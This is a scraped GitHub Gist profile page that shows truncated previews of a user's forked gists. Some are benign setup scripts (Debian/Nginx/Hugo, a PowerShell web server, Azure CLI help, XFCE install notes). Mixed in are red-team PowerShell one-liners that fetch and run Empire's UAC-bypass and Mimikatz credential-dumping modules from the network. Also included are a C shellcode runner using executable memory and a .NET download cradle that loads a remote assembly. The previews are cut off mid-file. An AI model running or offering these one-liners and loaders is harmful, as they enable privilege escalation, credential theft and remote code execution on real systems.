Skip to content

Instantly share code, notes, and snippets.

View p1sc3s's full-sized avatar

Miles Patterson p1sc3s

  • Baltimore, MD
View GitHub Profile
@p1sc3s
p1sc3s / debian-10-nginx-letsencrypt-hugo.sh
Created July 12, 2020 20:44 — forked from bf/debian-10-nginx-letsencrypt-hugo.sh
Debian 10 with Nginx, Letsencrypt and Hugo
# remove annoying mouse handling from vim
echo "set mouse -=a" > ~/.vimrc
# install packages
sudo apt install -y git hugo python3-acme python3-certbot python3-mock python3-openssl \
python3-pkg-resources python3-pyparsing python3-zope.interface python3-certbot-nginx
# add user, follow instructions, generate strong password with pwgen 100
adduser foobar
New-Item -ItemType "file" -Path "c:\sysadmin\testtest.txt"
@p1sc3s
p1sc3s / powershell-web-server.ps1
Created June 13, 2019 13:01 — forked from 19WAS85/powershell-web-server.ps1
A simple web server built with powershell.
# This is a super **SIMPLE** example of how to create a very basic powershell webserver
# 2019-05-18 UPDATE — Created by me and and evalued by @jakobii and the comunity.
# Http Server
$http = [System.Net.HttpListener]::new()
# Hostname and port to listen on
$http.Prefixes.Add("http://localhost:8080/")
# Start the Http Server
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
az -h
az account -h
az acs -h
az acs dcos -h
az acs kubernetes -h
az ad -h
az ad app -h
az ad group -h
az ad sp -h
az ad user -h
----
## XFCE Desktop ##
----
# How to install XFCE Desktop Environment in Kali Linux:
Code:
```apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4-goodies```
# How to remove XFCE in Kali Linux:
Code:
#include <stdio.h>
#include <windows.h>
int main(void)
{
char shellcode[] = "\x90\x90\x90";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
@p1sc3s
p1sc3s / DotnetAssemblyDownloadCradle.cs
Created June 21, 2018 13:58 — forked from cobbr/DotnetAssemblyDownloadCradle.cs
A download cradle for .NET assemblies.
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause